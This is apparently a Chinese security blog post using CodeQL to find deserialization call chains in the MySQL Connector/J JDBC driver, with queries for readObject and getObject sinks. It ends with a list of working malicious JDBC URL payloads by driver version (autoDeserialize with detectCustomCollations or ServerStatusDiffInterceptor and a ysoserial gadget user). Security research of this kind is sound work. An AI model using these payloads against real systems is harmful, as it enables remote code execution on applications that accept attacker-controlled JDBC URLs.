0%

用codeql分析JDBC反序列化

前言

网上大部分都是直接分析JDBC的过程,我这里就不赘述了,这里说一下用codeql分析的思路

前期准备

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

加载完pom以后调试的时候会显示download source,这时候就可以把源码下下来了,然后去repository里面找到源码

https://github.com/waderwu/extractor-java

用该项目去生成database

java代码

python的恶意服务器,记得自己用ysoserial生成payload

选用方法

首先是选用污点追踪,还是用polyCalls的方法,这里不用多说,肯定是用polyCalls这种函数调用的方法去找出链子,因为这里并不是说像分析springweb那样,追踪传入的get/post参数看他有没有sql注入之类的。

找Sink

sink就是readObject,找到哪些函数调用了readObject.

1
2
3
4
5
class ReadObjects1 extends Call {
ReadObjects(){
this.getCallee().hasName("readObject")
}
}

因为这里的readObject是被调用的,也没有任何的定义,所以继承CallgetCallee是函数本身。
如果是this.getCaller().hasName("readObject")那么就是readObject中调用了什么函数,结果如下

在这里可以找到3个readObject,但是调用他们的函数只有两个,分别是

  • com.mysql.cj.jdbc.result.ResultSetImpl->getObject(一个参数)
  • com.mysql.cj.jdbc.util.ResultSetUtil->readObject(两个参数)

那么codeql可以写出两个sink

1
2
3
4
5
6
7
class ReadObjects extends Callable {
ReadObjects(){
this.hasName("readObject") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.util", "ResultSetUtil") and
this.getNumberOfParameters() = 2
}
}

1
2
3
4
5
6
7
class ReadObjects extends Callable {
ReadObjects(){
this.hasName("getObject") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.result", "ResultSetImpl") and
this.getNumberOfParameters() = 1
}
}

注意这里是Callable,因为是找函数的定义,而不是调用

Source

一般来说Source就是比较难找的,sink无非就是那些危险函数。source就千变万化了。
在这里应该就是getConnection,但是getConnection在packagejava.sql中,并不在我们分析的库中,所以这里用

  • com.mysql.cj.jdbc.NonRegisteringDriver->connect
1
2
3
4
5
6
class GetConnection extends Callable {
GetConnection(){
this.hasName("connect") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","NonRegisteringDriver")
}
}

完整代码

按source分为两块讲

readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* @kind path-problem
*/

import java
import semmle.code.java.dataflow.TaintTracking


class ReadObjects extends Callable {
ReadObjects(){
this.hasName("readObject") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.util", "ResultSetUtil") and
this.getNumberOfParameters() = 2
}
}

class GetConnection extends Callable {
GetConnection(){
this.hasName("getInstance") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","ConnectionImpl")
}
}

query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}

from ReadObjects sink,GetConnection source
where edges*(source, sink)
select sink, source, sink, "Sink is reached from $@.", sink, "here"

第一个没有东西链子

getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* @kind path-problem
*/

import java
import semmle.code.java.dataflow.TaintTracking


class ReadObjects extends Callable {
ReadObjects(){
this.hasName("getObject") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc.result", "ResultSetImpl") and
this.getNumberOfParameters() = 1
}
}

class GetConnection extends Callable {
GetConnection(){
this.hasName("connect") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","NonRegisteringDriver")
}
}

query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}

from Sink sink,GetConnection source
where edges*(source, sink)
select sink, source, sink, "Sink is reached from $@.", sink, "here"

有4条path,分别是

但是他只会显示一条路径,所以要继续分析的话,就要继续更改source,改为

1
2
3
4
5
6
class GetConnection extends Callable {
GetConnection(){
this.hasName("getInstance") and
this.getDeclaringType().hasQualifiedName("com.mysql.cj.jdbc","ConnectionImpl")
}
}

createProxyInstance

getInstance这条链子就是网上大部分讲的东西,但是刚刚那层connect为source的结果还有几个proxy的函数就引起了我的注意,在这节就用createProxyInstance作为例子去分析。

可以看到,在getInstance前面多了几个步骤,这里源码调试

可以看到有很多协议头,这里应该首先去官网或者google搜索该协议,而不是去调试代码
这里搜到了

https://dev.mysql.com/doc/connector-j/8.1/en/connector-j-reference-dns-srv.html

mysqlx+srv://johndoe:secret@_mysql._tcp.mycompany.local/db?xdevapi.dns-srv=true
通过该payload,可以通过dns srv记录去攻击

DNS SRV就是记录 domain对应的ip,而且还能记录下port

但是这里就不搭建dns服务器了,至此就分析完毕了

后记

这一节记录一下常用的payload

detectCustomCollations链

5.1.19-5.1.28

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.29-5.1.40

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.1.41-5.1.48

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

6.0.2-6.0.6

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

ServerStatusDiffInterceptor链

5.1.0-5.1.10

1
2
3
4
5
6
7
8
9
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

5.1.11-5.x.xx

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

6.x

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

8.0.7-8.0.20

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);